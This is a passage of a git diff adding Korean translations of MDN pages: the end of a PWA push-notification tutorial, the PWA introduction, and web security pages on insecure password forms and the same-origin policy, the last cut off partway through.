+webPush.setVapidDetails(
+ 'https://serviceworke.rs/',
+ process.env.VAPID_PUBLIC_KEY,
+ process.env.VAPID_PRIVATE_KEY
+);
+</pre>
+
+<p>그 다음, 모듈은 앱이 처리해야할 모든 라우트(VAPID 공개 키 얻기, 등록 후 알림 보내기)를 정의하고 내보냅니다. <code>index.js</code> 파일에서 사용중인 <code>payload</code>, <code>delay</code>, <code>ttl</code> 변수를 볼 수 있습니다.</p>
+
+<pre class="brush: js">module.exports = function(app, route) {
+ app.get(route + 'vapidPublicKey', function(req, res) {
+ res.send(process.env.VAPID_PUBLIC_KEY);
+ });
+
+ app.post(route + 'register', function(req, res) {
+
+ res.sendStatus(201);
+ });
+
+ app.post(route + 'sendNotification', function(req, res) {
+ const subscription = req.body.subscription;
+ const payload = req.body.payload;
+ const options = {
+ TTL: req.body.ttl
+ };
+
+ setTimeout(function() {
+ webPush.sendNotification(subscription, payload, options)
+ .then(function() {
+ res.sendStatus(201);
+ })
+ .catch(function(error) {
+ console.log(error);
+ res.sendStatus(500);
+ });
+ }, req.body.delay * 1000);
+ });
+};</pre>
+
+<h4 id="service-worker.js">service-worker.js</h4>
+
+<p>마지막으로 살펴볼 파일은 service worker입니다.</p>
+
+<pre class="brush: js">self.addEventListener('push', function(event) {
+ const payload = event.data ? event.data.text() : 'no payload';
+ event.waitUntil(
+ self.registration.showNotification('ServiceWorker Cookbook', {
+ body: payload,
+ })
+ );
+});</pre>
+
+<p>이 모든 것은 {{event("push")}} 이벤트에 리스너를 추가하고, 데이터로부터 받은 텍스트로 구성된 payload 변수를 생성한 후(또는 데이터가 비어있을 경우 사용할 문자열을 생성), 사용자에게 보여줄 알림을 보여줄 때까지 기다립니다.</p>
+
+<p><a href="https://serviceworke.rs/">Service Worker Cookbook</a> 예제의 나머지 부분의 동작 방법도 자유롭게 살펴보시기 바랍니다. <a href="https://github.com/mozilla/serviceworker-cookbook/">전체 소스 코드는 GitHub에서 사용 가능합니다</a>. 일반적인 사용과 웹 푸시, 캐싱 전략, 성능, 오프라인 동작 등을 보여주는 동작 예제가 많이 있습니다.</p>
+
+<h2 id="결론">결론</h2>
+
+<p>이것이 튜토리얼 시리즈의 전부입니다. <a href="https://github.com/mdn/pwa-examples/tree/master/js13kpwa">js13kPWA 예제 앱의 소스 코드</a>를 살펴봤으며 <a href="/ko/docs/Web/Apps/Progressive/Introduction">소개</a>, <a href="/ko/docs/Web/Apps/Progressive/App_structure">PWA 구조</a>, <a href="/ko/docs/Web/Apps/Progressive/Offline_Service_workers">Service Worker를 사용한 오프라인 기능</a>, <a href="https://developer.mozilla.org/ko/docs/Web/Apps/Progressive/Installable_PWAs">설치 가능한 PWA</a> 그리고 마지막으로 알림을 포함해 프로그레시브 웹 앱의 기능의 사용에 대해 배웠습니다. 또한 <a href="https://serviceworke.rs/">Service Worker Cookbook</a>의 도움으로 푸시에 대해서도 설명했습니다.</p>
+
+<p>코드를 실험해보시고, 여러분의 앱을 PWA 기능으로 개선하거나, 완전히 새로운 무언가를 구축해 보세요. PWA는 일반 웹 앱에 비해 큰 이점을 제공합니다.</p>
+
+<p>{{PreviousMenu("Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive")}}</p>
diff --git a/files/ko/web/progressive_web_apps/소개/index.html b/files/ko/web/progressive_web_apps/소개/index.html
new file mode 100644
index 0000000000..e253c96ce9
--- /dev/null
+++ b/files/ko/web/progressive_web_apps/소개/index.html
@@ -0,0 +1,92 @@
+---
+title: 프로그레시브 웹 앱 소개
+slug: Web/Progressive_web_apps/소개
+tags:
+ - PWA
+ - js13kGames
+ - 소개
+ - 프로그레시브
+ - 프로그레시브 웹 앱
+translation_of: Web/Progressive_web_apps/Introduction
+---
+<div>{{NextMenu("Web/Apps/Progressive/App_structure", "Web/Apps/Progressive")}}</div>
+
+<p class="summary">이 문서는 프로그레시브 웹 앱(PWA)의 소개입니다. PWA가 무엇이고 일반 웹 앱에 어떤 이점을 가져다주는지 설명합니다.</p>
+
+<h2 id="프로그레시브_웹_앱이_무엇인가요">프로그레시브 웹 앱이 무엇인가요?</h2>
+
+<p>PWA는 웹과 네이티브 앱의 기능 모두의 이점을 갖도록 수 많은 특정 기술과 표준 패턴을 사용해 개발된 웹 앱입니다.</p>
+
+<p>예를 들어, 웹 앱은 발견이 쉽습니다 — 어플리케이션을 설치하는 것보다 웹사이트에 방문하는 것이 훨씬 쉽고 빠르며, 링크로 웹 앱을 공유할수도 있습니다.</p>
+
+<p>반면에, 네이티브 앱은 운영체제와 보다 잘 통합되므로 더 부드러운 사용자 경험을 제공할 수 있습니다. 네이티브 앱은 설치할 수 있으므로 오프라인에서 동작하며, 사용자는 홈 화면의 아이콘을 탭하여 브라우저를 사용하여 이동하는 것보다 선호하는 앱에 더 쉽게 접근할 수 있습니다.</p>
+
+<p>PWA는 이들과 동일한 이점을 즐길 수 있는 웹 앱을 생성하는 능력을 제공합니다.</p>
+
+<p>완전히 새로운 개념은 아닙니다 — 이런 아이디어는 과거에 다양한 접근 방법으로 웹 플랫폼상에서 여러번 재검토되었습니다. 점진적인 향상과 반응형 디자인은 이미 우리가 모바일 친화적인 웹사이트를 구축할 수 있게 해주고 있습니다. 오프라인에서 동작하는 것과 앱을 설치하는 것은 몇 년 전 Firefox OS 생태계에서 이미 가능했었습니다.</p>
+
+<p>하지만, PWA는 웹을 훌륭하게 만드는 이미 존재하는 어떤 기능도 제거하지 않은 상태로 이 모든 것 그리고 그 이상을 제공합니다.</p>
+
+<h2 id="앱을_PWA로_만드는_것은_무엇인가요">앱을 PWA로 만드는 것은 무엇인가요?</h2>
+
+<p>위에서 암시했듯이, PWA는 하나의 기술로 생성된 것이 아닙니다. 이는 일부 특정 패턴, API 및 다른 기능들을 포함하는 웹 앱을 구축하는 하나의 새로운 철학을 나타냅니다. 첫눈에 웹 앱이 PWA인이 아닌지 구분하기는 쉽지 않습니다. 앱이 특정 요구 사항을 만족하거나 다음 기능들이 구현되었을 때 PWA라고 볼 수 있습니다: 오프라인에서 동작, 설치가 가능, 쉬운 동기화, 푸시 알림, 등.</p>
+
+<p>게다가, 앱의 완성도를 퍼센트로 측정하는 도구들도 있습니다. (<a href="https://developers.google.com/web/tools/lighthouse/">Lighthouse</a>가 현재 가장 유명합니다.) 다양한 기술적 이점을 구현함으로써, 앱을 더 점진적이게 만들 수 있고, 더 높은 Lighthouse 점수를 받을 수 있습니다. 하지만 이는 대략적인 지표일뿐입니다.</p>
+
+<p>다음은 웹 앱을 PWA로 식별되기 위해 확인해야 하는 몇 가지 핵심 원칙입니다.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/Apps/Progressive/Advantages#Discoverable">발견 가능</a>, 따라서 컨텐츠를 검색 엔진을 통해 찾을 수 있습니다.</li>
+ <li><a href="https://developer.mozilla.org/ko/Apps/Progressive/Advantages#Installable">설치 가능</a>, 따라서 기기의 홈 화면에서 사용할 수 있습니다.</li>
+ <li><a href="https://developer.mozilla.org/ko/Apps/Progressive/Advantages#Linkable">연결 가능</a>, 따라서 간단하게 URL을 전송해 공유할 수 있습니다.</li>
+ <li><a href="https://developer.mozilla.org/ko/Apps/Progressive/Advantages#Network_independent">네트워크 독립적</a>, 따라서 오프라인이나 불안한 네트워크 연결에서 동작합니다.</li>
+ <li><a href="https://developer.mozilla.org/ko/Apps/Progressive/Advantages#Progressive">점진적</a>, 따라서 최신 브라우저의 모든 기능은 사용할 수 없지만 이전 브라우저의 기본 기능은 여전히 사용할 수 있습니다.</li>
+ <li><a href="https://developer.mozilla.org/ko/Apps/Progressive/Advantages#Re-engageable">재 참여 가능(Re-engageable)</a>, 따라서 새 컨텐츠가 사용 가능할 때마다 알림을 보낼 수 있습니다.</li>
+ <li><a href="https://developer.mozilla.org/ko/Apps/Progressive/Advantages#Responsive">반응형</a>, 따라서 모든 기기의 화면이나 브라우저에서 사용할 수 있습니다 — 모바일 폰, 태블릿, 노트북, TV, 냉장고, 등.</li>
+ <li><a href="https://developer.mozilla.org/ko/Apps/Progressive/Advantages#Safe">안전</a>, 따라서 여러분과 앱 사이의 연결이 여러분의 민감한 데이터에 접근하려는 모든 제3자로부터 안전합니다.</li>
+</ul>
+
+<h3 id="이_모든_것들을_할만한_가치가_있나요">이 모든 것들을 할만한 가치가 있나요?</h3>
+
+<p>물론입니다! 비교적 적은 노력으로 PWA 핵심 기능들을 구현할 수 있으며, 그 이점은 거대합니다. 예를 들면:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service Workers</a> 를 사용한 캐싱 덕분에 앱을 설치한 후에 로딩 시간이 줄어들어 소중한 데이터와 시간을 절약.</li>
+ <li>앱 업데이트가 있을 때 변경된 컨텐츠만 업데이트 할 수 있음. 반면, 네이티브 앱의 경우, 아주 작은 수정에도 사용자가 어플리케이션 전체를 다시 다운로드하도록 강제함.</li>
+ <li>네이티브 플랫폼에 보다 통합된 외관과 느낌 — 홈 화면의 앱 아이콘, 전체 화면으로 실행되는 앱, 등.</li>
+ <li>시스템 알림 및 푸시 메시지를 통한 사용자의 재 참여. 참여율이 높은 사용자와 더 나은 전환율을 이끌어 냄.</li>
+</ul>
+
+<p>PWA 라우트를 시도하고 네이티브 앱 보다 더 향상된 웹 사이트 경험을 선택하여 측정 가능한 의미있는 이득을 본 회사들의 성공 스토리가 많습니다. <a href="https://www.pwastats.com/">PWA Stats</a> 웹 사이트는 이러한 이점을 나타내는 많은 사례 연구들을 공유합니다.</p>
+
+<p>가장 잘 알려진 성공 스토리는 아마 <a href="https://stories.flipkart.com/flipkart-lite/">Flipkart Lite</a> 일 것입니다 — 2015년에 프로그레시브 웹 앱으로 사이트를 재구축해 전환율을 70% 상승시킨 인도의 가장 큰 전자 상거래 사이트입니다. <a href="https://m.aliexpress.com/">AliExpress</a> PWA 역시 새로운 사용자에 대한 전환율을 104% 상승시키는 것으로 웹이나 네이티브 앱보다 훨씬 더 나은 결과를 보였습니다. 이윤 증가 및 PWA로 전환을 위해 상대적으로 적은 양의 작업을 놓고 봤을 때, 이점은 분명합니다.</p>
+
+<p>더 많은 예제는 <a href="https://pwa.rocks/">pwa.rocks</a> 의 목록에서 확인하시기 바랍니다. <a href="https://hnpwa.com/">hnpwa.com</a> 페이지는 특별히 언급할 가치가 있습니다 — 여기에는 일반적인 TodoMVC 앱 대신 다양한 프론트엔드 프레임워크의 사용을 볼 수 있는 Hacker News 웹사이트의 구현 예제가 나열되어 있습니다.</p>
+
+<p>심지어 <a href="https://www.pwabuilder.com/">PWABuilder</a> 웹사이트를 사용해 PWA를 온라인에서 생성할수도 있습니다.</p>
+
+<p>Service worker와 푸시에 관련된 정보는 최신 사이트에서 service worker를 사용하는 예제를 모아둔 <a href="https://serviceworke.rs/">Service Worker Cookbook</a>을 확인하시기 바랍니다.</p>
+
+<p>PWA 접근은 시도해볼만한 가치가 있으며, 여러분의 앱에서 동작하는지 스스로 확인해보시기 바랍니다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>앞서 언급했듯이, PWA는 하나의 API에 의존하지 않고, 가능한 최고의 웹 경험을 전달하기 위한 목표를 달성하기 위해 다양한 기술들을 사용합니다.</p>
+
+<p>PWA를 위해 요구되는 핵심 요소는 <a href="/ko/docs/Web/API/Service_Worker_API">service worker</a> 지원입니다. 고맙게도 service worker는 현재 데스크탑 및 모바일의 <a href="https://jakearchibald.github.io/isserviceworkerready/">모든 주요 브라우저에서 지원됩니다</a>.<a href="https://jakearchibald.github.io/isserviceworkerready/"> </a></p>
+
+<p><a href="/ko/docs/Web/Manifest">웹 앱 Manifest</a>, <a href="/ko/docs/Web/API/Push_API">푸시</a>, <a href="/ko/docs/Web/API/Notifications_API">알림</a>, <a href="/ko/docs/Web/Apps/Progressive/Add_to_home_screen">홈 화면에 추가</a> 기능과 같은 다른 기능들도 널리 지원되고 있습니다. 현재 Safari에서는 웹 앱 Manifest 및 홈 화면에 추가에 지원이 제한적이며 웹 푸시 알림은 지원하지 않습니다. 반면, 다른 주요 브라우저에서는 이 모든 기능들을 지원합니다.</p>
+
+<p>이러한 API의 일부는 실험중이며 문서도 여전히 완성되지 않았지만, Flipkart 와 AliExpress와 같은 성공 스토리를 보면 여러분의 웹 앱에 PWA 기능의 일부를 시도하고 구현하는 것에 대해 이미 납득이 되었을것입니다.</p>
+
+<p>무엇보다도 여러분은 프로그레시브 향상 규칙을 따라야 합니다 — 이러한 향상을 제공하는 기술들은 지원이 되는 경우에만 사용하고, 그렇지 않은 경우에도 여전히 기본 기능을 제공하시기 바랍니다. 이 방법으로 모든 사용자가 앱을 사용할 수 있지만, 최신 브라우저를 사용하는 사용자는 PWA 기능으로부터 더 많은 이점을 얻을 수 있습니다.</p>
+
+<h2 id="예시_어플리케이션">예시 어플리케이션</h2>
+
+<p>이 문서 시리즈에서는 <a href="http://2017.js13kgames.com/">js13kGames 2017</a> 대회의 <a href="http://js13kgames.com/aframe">A-Frame 카테고리</a>에 제출된 게임에 대한 정보를 나열하는 아주 간단한 웹사이트의 소스코드를 살펴볼 것입니다. 여러분은 웹 사이트의 실제 컨텐츠가 무엇인지에 대해서는 생각할 필요가 없습니다 — 중요한 점은 여러분의 프로젝트에 PWA 기능을 어떻게 사용하는지를 배우는 것입니다.</p>
+
+<p>온라인 버전은 <a href="https://mdn.github.io/pwa-examples/js13kpwa/">mdn.github.io/pwa-examples/js13kpwa</a> (<a href="https://github.com/mdn/pwa-examples/tree/master/js13kpwa">소스 코드도 확인하세요</a>)에서 확인하실 수 있으며, 다음 몇 가지 문서에서 자세히 설명할 것입니다.</p>
+
+<p>이제, 우리의 예제 앱의 구조에 대해 살펴볼 이 시리즈의 두 번째 파트로 이동합시다.</p>
+
+<p>{{NextMenu("Web/Apps/Progressive/App_structure", "Web/Apps/Progressive")}}</p>
diff --git a/files/ko/web/security/index.html b/files/ko/web/security/index.html
new file mode 100644
index 0000000000..eaebaf999e
--- /dev/null
+++ b/files/ko/web/security/index.html
@@ -0,0 +1,24 @@
+---
+title: 웹 보안
+slug: Web/Security
+tags:
+ - Landing
+ - NeedsTranslation
+ - Security
+ - TopicStub
+ - Web
+translation_of: Web/Security
+---
+<p><span class="seoSummary">웹 사이트 및 OWA(open web application)의 보안을 유지하는것은 중요합니다. 심지어 코드의 간단한 버그조차도 개인 정보를 유출시킬 수 있습니다. 또한 나쁜 사람들이 데이터를 훔치는 방법을 연구하고 있습니다. 여기에 나열된 웹 보안 관련 기사는 공격 및 데이터 절도로부터 사이트와 코드를 보호하는데 도움이 되는 정보를 제공합니다.</span></p>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://lists.mozilla.org/listinfo/dev-security">Mozilla mailing list</a></li>
+ <li><a href="https://blog.mozilla.com/security/">Blog</a></li>
+ <li><a href="https://twitter.com/mozsec">@mozsec on Twitter</a></li>
+</ul>
+
+<p>{{QuickLinksWithSubpages}}</p>
diff --git a/files/ko/web/security/insecure_passwords/index.html b/files/ko/web/security/insecure_passwords/index.html
new file mode 100644
index 0000000000..ddc9f66fa2
--- /dev/null
+++ b/files/ko/web/security/insecure_passwords/index.html
@@ -0,0 +1,67 @@
+---
+title: 안전하지 않은 비밀번호
+slug: Web/Security/Insecure_passwords
+translation_of: Web/Security/Insecure_passwords
+---
+<p>HTTP를 통한 로그인 양식은 특히 사용자의 비밀번호를 추출하는데 사용할 수 있는 다양한 종류의 공격으로 인해 위험합니다. 네트워크 도청자는 네트워크를 스니핑하거나 전송되는 페이지를 수정하여 사용자의 비밀번호를 도용할 수 있습니다. 이 페이지는 안전하지 않은 비밀번호와 비밀번호 도용을 둘러싼 위험을 사용자와 개발자에게 경고하기 위해 Firefox가 마련한 보안 메커니즘에 대해 자세히 설명합니다.</p>
+
+<p><a href="https://mdn.mozillademos.org/files/5951/insecure_page2_with_arrows_cropped.jpeg" title="https://en.wikipedia.org/wiki/HTTP_Secure">HTTPS</a> 프로토콜은 사용자 데이터를 도청(기밀성)하거나 네트워크에 수정(무결성)을 가하는 것으로부터 보호하도록 설계되었습니다. 사용자 데이터를 처리하는 웹사이트는 HTTPS를 사용하여 공격자로부터 사용자를 보호해야 합니다. 웹사이트에서 HTTP 대신 HTTPS를 사용하는 경우 사용자 정보(예 : 로그인 자격 증명)를 훔치는 일은 쉽지 않습니다. 이것은 <a href="https://codebutler.github.io/firesheep/" title="http://codebutler.com/firesheep/">Firesheep</a>에 의해 유명하게 시연되었습니다.</p>
+
+<p>이 문제를 해결하려면 서버에 SSL/TLS 인증서를 설치하고 구성하십시오. 무료 및 유료 인증서를 제공하는 다양한 공급 업체가 있습니다. 클라우드 플랫폼을 사용하는 경우 HTTPS를 사용하는 고유한 방법이 있을 수 있습니다.</p>
+
+<h2 id="Firefox_비밀번호_보안_표시기">Firefox 비밀번호 보안 표시기</h2>
+
+<p>위에서 설명한 위협을 알리기 위해서, Firefox는 많은 경고 메커니즘을 구현합니다.</p>
+
+<ol>
+ <li>
+ <p>Firefox 51버전부터는 로그인 페이지에 보안 연결이 없는 경우, 아래와 보이는 것과 같은 주소 표시줄에 빨간색으로 취소 표시가 있는 잠금 아이콘을 표시합니다.</p>
+
+ <p style="text-align: center;"><img alt="Lock Icon" src="https://support.cdn.mozilla.net/media/uploads/gallery/images/2015-11-17-12-13-18-2faa61.png" style="height: 25px; width: 25px;"></p>
+ </li>
+ <li>
+ <p>Firefox 52버전부터는 URL 표시줄과 안전하지 않은 양식의 선택된 비밀번호 필드 아래에 명확한 경고를 표시합니다.</p>
+
+ <p style="text-align: center;"><img alt="Warning" src="https://support.cdn.mozilla.net/media/uploads/gallery/images/2017-04-21-23-52-53-ba340d.png" style="height: 133px; width: 328px;"></p>
+ </li>
+ <li>
+ <p>Firefox 52버전부터는 안전하지 않은 로그인 양식에 대한 자동 채우기도 비활성화했습니다. 사용자는 저장된 로그인 정보를 드롭다운 목록에서 수동으로 완료할 수 있습니다.</p>
+ </li>
+ <li>
+ <p>안전하지 않은 로그인 양식에 대한 경고는 다음 섹션에서 설명하는 것처럼 모든 Firefox 릴리스의 개발자 콘솔 보안창에서 찾을 수 있습니다.</p>
+ </li>
+</ol>
+
+<h2 id="웹_콘솔_메시지"><strong>웹 콘솔 메시지</strong></h2>
+
+<p>이 섹션에서는 안전하지 않은 비밀번호에 대한 응답으로 Firefox DevTools의 개발자 콘솔에 표시되는 보안 메시지에 대해 설명합니다.</p>
+
+<h3 id="HTTP를_통한_로그인_양식_제공">HTTP를 통한 로그인 양식 제공</h3>
+
+<p>Form action이 HTTPS URL 인 경우에도 공격자는 사용자가 받을 페이지에 수정을 가할 수 있으므로 사용자의 로그인 양식이 보호되지 않습니다 (예 : 공격자가 form의 목적지를 변경하여 중요한 데이터를 공격자가 제어하는 서버로 보내거나, 사용자가 비밀번호를 입력할 때 비밀번호를 도용하는 키로깅 스크립트를 삽입할 수 있습니다). 웹 콘솔의 보안 탭은 개발자와 사용자에게 보안 문제에 대해 경고합니다.</p>
+
+<p style="text-align: center;"><img alt="Insecure login form shown with the Web Console and contextual warning on the password field." src="https://mdn.mozillademos.org/files/14783/Insecure_Password_Console_Contextual_sm.png" style="height: 566px; width: 790px;"></p>
+
+<div class="note">
+<p><strong>주의</strong> : HTTP 문서에 HTTPS 로그인 페이지를 포함시키는 것도 안전하지 않습니다. 공격자는 악의적인 사이트를 가리키도록 프레임 URL을 변경할 수 있습니다.</p>
+</div>
+
+<h3 id="Form_action_에_HTTP_URL_사용"><strong>Form action 에  HTTP URL 사용</strong></h3>
+
+<p>이 경우 사용자가 입력하는 모든 데이터는 네트워크를 통해 일반 텍스트로 전송됩니다. 사용자의 비밀번호가 사용자의 컴퓨터를 떠나서 웹사이트의 서버에 도달할 때까지 네트워크를 스니핑하는 누구든 사용자의 비밀번호를 볼 수 있습니다.</p>
+
+<p style="text-align: center;"><img alt="Insecure login form action shown with the Web Console and contextual warning on the password field." src="https://mdn.mozillademos.org/files/14785/Insecure_Action_Password_Console_Contextual_sm.png" style="height: 566px; width: 790px;"></p>
+
+<h2 id="비밀번호_재사용에_대한_주의사항">비밀번호 재사용에 대한 주의사항</h2>
+
+<p>가끔씩 웹사이트는 사용자이름과 비밀번호를 요구하지만 실제로는 매우 민감한 데이터는 저장하지 않습니다. 예를 들어, 뉴스 사이트는 사용자가 돌아가서 읽고 싶어하는 뉴스 기사를 저장할 수 있지만 사용자에 대한 다른 데이터는 저장하지 않을 수 있습니다. 뉴스 사이트의 웹 개발자는 자신의 사이트와 사용자 자격 증명을 확보하려는 동기가 적을 수 있습니다.</p>
+
+<p>불행하게도 <a href="https://www.lightbluetouchpaper.org/2011/02/09/measuring-password-re-use-empirically/">비밀번호 재사용은 큰 문제입니다.</a> 사용자는 여러 사이트(뉴스 웹사이트, 소셜 네트워크, 이메일 제공 업체, 은행)에서 동일한 비밀번호를 사용합니다. 따라서 사용자이름과 비밀번호로 사이트에 접근하는 것이  큰 위험으로 보이지 않더라도 동일한 사용자이름과 비밀번호를 사용하여 은행 계좌에 로그인한 사용자에게는 큰 위험이 따릅니다. 공격자가 점점 더 똑똑해지고 있습니다. 그들은 한 사이트에서 사용자이름/암호 쌍을 훔친 다음 더 수익성있는 사이트에서 다시 사용하려고 시도합니다.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li class="entry-title"><a href="https://blog.mozilla.org/tanvi/2016/01/28/no-more-passwords-over-http-please/">HTTP를 통한 비밀번호는 더 이상 안됩니다, 제발!</a> — 더 자세한 정보와 FAQ를 가진 블로그.</li>
+</ul>
+
+<p class="entry-title">{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p>
diff --git a/files/ko/web/security/same-origin_policy/index.html b/files/ko/web/security/same-origin_policy/index.html
new file mode 100644
index 0000000000..3c43aa1837
--- /dev/null
+++ b/files/ko/web/security/same-origin_policy/index.html
@@ -0,0 +1,271 @@
+---
+title: 동일 출처 정책
+slug: Web/Security/Same-origin_policy
+tags:
+ - CORS
+ - JavaScript
+ - Same-origin policy
+ - Security
+ - URL
+ - 교차 출처 정책
+ - 동일 출처 정책
+translation_of: Web/Security/Same-origin_policy
+---
+<div>{{QuickLinksWithSubpages("/ko/docs/Web/Security")}}</div>
+
+<p><strong>동일 출처 정책</strong>(same-origin policy)은 어떤 {{Glossary("origin", "출처")}}에서 불러온 문서나 스크립트가 다른 출처에서 가져온 리소스와 상호작용하는 것을 제한하는 중요한 보안 방식입니다. 동일 출처 정책은 잠재적으로 해로울 수 있는 문서를 분리함으로써 공격받을 수 있는 경로를 줄여줍니다.</p>
+
+<h2 id="출처의_정의">출처의 정의</h2>
+
+<p>두 URL의 {{glossary("protocol", "프로토콜")}}, {{glossary("port", "포트")}}(명시한 경우), {{glossary("host", "호스트")}}가 모두 같아야 <strong>동일한 출처</strong>라고 말합니다. "스킴/호스트/포트튜플"이나 그냥 "튜플"(2개 이상의 요소가 전체를 구성하는 집합)이라고 하기도 합니다.</p>
+
+<p>아래 표는 URL <code>http://store.company.com/dir/page.html</code>의 출처를 비교한 예시입니다.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>URL</th>
+ <th>결과</th>
+ <th>이유</th>
+ </tr>
+ <tr>
+ <td><code>http://store.company.com/dir2/other.html</code></td>
+ <td>성공</td>
+ <td>경로만 다름</td>
+ </tr>
+ <tr>
+ <td><code>http://store.company.com/dir/inner/another.html</code></td>
+ <td>성공</td>
+ <td>경로만 다름</td>
+ </tr>
+ <tr>
+ <td><code>https://store.company.com/secure.html</code></td>
+ <td>실패</td>
+ <td>프로토콜 다름</td>
+ </tr>
+ <tr>
+ <td><code>http://store.company.com:81/dir/etc.html</code></td>
+ <td>실패</td>
+ <td>포트 다름 (<code>http://</code>는 80이 기본값)</td>
+ </tr>
+ <tr>
+ <td><code>http://news.company.com/dir/other.html</code></td>
+ <td>실패</td>
+ <td>호스트 다름</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="출처_상속">출처 상속</h3>
+
+<p><code>about:blank</code>와 <code>javascript:</code> URL은 출처 서버에 대한 정보를 가지고 있지 않습니다. 따라서 이런 URL에서 실행하는 스크립트는 해당 URL을 가지고 있는 문서의 출처를 상속합니다.</p>
+
+<div class="blockIndicator note">
+<p>예를 들어, <code>about:blank</code>는 부모 창에서 내용을 채워넣을 빈 팝업({{domxref("Window.open()")}} 등의 방식으로 생성)의 URL로 주로 사용됩니다. 만약 이 팝업이 JavaScript도 포함한다면 팝업을 생성한 스크립트의 출처를 따라가게 됩니다.</p>
+</div>
+
+<div class="blockIndicator warning">
+<p><code>data:</code> URL은 비어있는 보안 맥락을 새로 받습니다.</p>
+</div>
+
+<h3 id="Internet_Explorer_예외사항">Internet Explorer 예외사항</h3>
+
+<p>Internet Explorer는 동일 출처 정책에 두 가지 중요한 예외사항이 있습니다.</p>
+
+<dl>
+ <dt>신뢰할 수 있는 사이트</dt>
+ <dd>양쪽 도메인 모두가 <strong>높음</strong> 단계의 보안 수준을 가지고 있는 경우 동일 출처 제약을 적용하지 않습니다.</dd>
+ <dt>포트</dt>
+ <dd>Internet Explorer는 동일 출처 정책 검사에 포트를 포함하지 않습니다. 따라서 <code>http://company.com:81/index.html</code>과 <code>http://company.com/index.html</code>은 동일 출처로 간주하며, 제한을 두지 않습니다.</dd>
+</dl>
+
+<p>두 예외 모두 비표준이며 다른 브라우저에서는 지원하지 않습니다.</p>
+
+<h2 id="출처_변경">출처 변경</h2>
+
+<p>일부 제약이 있긴 하지만 페이지의 출처를 변경하는 것도 가능합니다. 스크립트로{{domxref("document.domain")}}의 값을 현재 도메인이나 현재 도메인의 상위 도메인으로 변경할 수 있는데, 상위 도메인으로 설정한 경우 (더 짧은) 상위 도메인을 동일 출처 검사에 사용합니다.</p>
+
+<p><code>http://store.company.com/dir/other.html</code> 문서의 스크립트가 다음 코드를 실행한 이후를 가정해보겠습니다.</p>
+
+<pre class="notranslate">document.domain = "company.com";
+</pre>
+
+<p>해당 페이지는 <code>http://company.com/dir/page.html</code>과의 동일 출처 검사를 통과할 수 있습니다. (단, <code>http://company.com/dir/page.html</code> 역시 자신의 <code>document.domain</code>을 <code>"company.com"</code>으로 설정해 이런 동작을 허용하겠다고 알려줘야 합니다. {{domxref("document.domain")}} 문서에서 더 알아보세요.) 그러나, <code>company.com</code>은 <code>document.domain</code>을 <code>othercompany.com</code>으로 설정할 수 <strong>없습니다</strong>. <code>company.com</code>의 상위 도메인이 아니기 때문입니다.</p>
+
+<p>포트 번호는 브라우저가 따로 검사합니다. 모든 <code>document.domain</code>의 변화, 심지어 <code>document.domain = document.domain</code>조차 포트 번호를 {{jsxref("null")}}로 덮어씁니다. 따라서 <code>company.com:8080</code>과 <code>company.com</code>을 서로 연결하고자 할때 앞쪽에서 <code>document.domain = "company.com"</code>을 추가하는 것만 가지고는 <strong>불가능</strong>하며, 반드시 양쪽 모두 자신의 포트 숫자를 <code>null</code>로 설정해야 합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>document.domain</code>을 통해 서브도메인이 부모에 안전하게 접근할 수 있도록 허용할 때, 반드시 부모와 자식 모두의 <code>document.domain</code>을 같은 값으로 지정해야 합니다. 부모 도메인을 자기 자신의 값으로 설정하는, 아무 의미도 없어 보이는 경우라도 지정이 필요합니다. 그렇지 않으면 권한 오류가 발생할 수 있습니다.</p>
+</div>
+
+<h2 id="교차_출처_네트워크_접근">교차 출처 네트워크 접근</h2>
+
+<p>동일 출처 정책은 서로 다른 출처 사이에서 {{domxref("XMLHttpRequest")}} 혹은 {{htmlelement("img")}} 요소를 사용할 때 등의 상호작용을 통제합니다. 상호작용은 보통 다음의 세 가지 범주로 나뉩니다.</p>
+
+<ul>
+ <li>교차 출처 쓰기는 보통 허용합니다. 예시로는 링크, 리다이렉트, 양식 제출 등이 있습니다. 일부 HTTP 요청은 <a href="/en-US/docs/Web/HTTP/CORS#Preflighted_requests">프리플라이트</a>를 요구합니다.</li>
+ <li>교차 출처 삽입은 보통 허용합니다. 예시는 아래에 있습니다.</li>
+ <li>교차 출처 읽기는 보통 불허하지만, 종종 교차 출처 삽입 과정에서 읽기 권한이 누출됩니다. 가령 삽입한 이미지의 크기나, 삽입한 스크립트의 행동, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=629094">삽입한 리소스의 가용성</a> 등을 읽을 수 있습니다.</li>
+</ul>
+
+<p>다음은 교차 출처로 삽입할 수 있는 리소스의 일부 예제입니다.</p>
+
+<ul>
+ <li><code>&lt;script src="..."&gt;&lt;/script&gt;</code>로 추가하는 JavaScript. 그러나 구문 오류에 대한 상세 정보는 동일 출처 스크립트에서만 확인 가능합니다.</li>
+ <li><code>&lt;link rel="stylesheet" href="..."&gt;</code>로 적용하는 CSS. CSS의 <a href="https://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html">느슨한 구문 규칙</a>으로 인해, 교차 출처 CSS는 올바른 <code>Content-Type</code> 헤더를 필요로 합니다. 브라우저 별 제한은 다릅니다. <a href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/compatibility/gg622939(v=vs.85)?redirectedfrom=MSDN">Internet Explorer</a>, <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2010-46/">Firefox</a>, <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=9877">Chrome</a>, <a href="https://support.apple.com/ko-kr/HT4070">Safari</a>(CVE-2010-0051), <a href="https://security.opera.com/cross-domain-data-theft-with-css-load-opera-security-advisories/">Opera</a></li>
+ <li>{{htmlelement("img")}}로 표시하는 이미지.</li>
+ <li>{{htmlelement("video")}}와 {{htmlelement("audio")}}로 재생하는 미디어.</li>
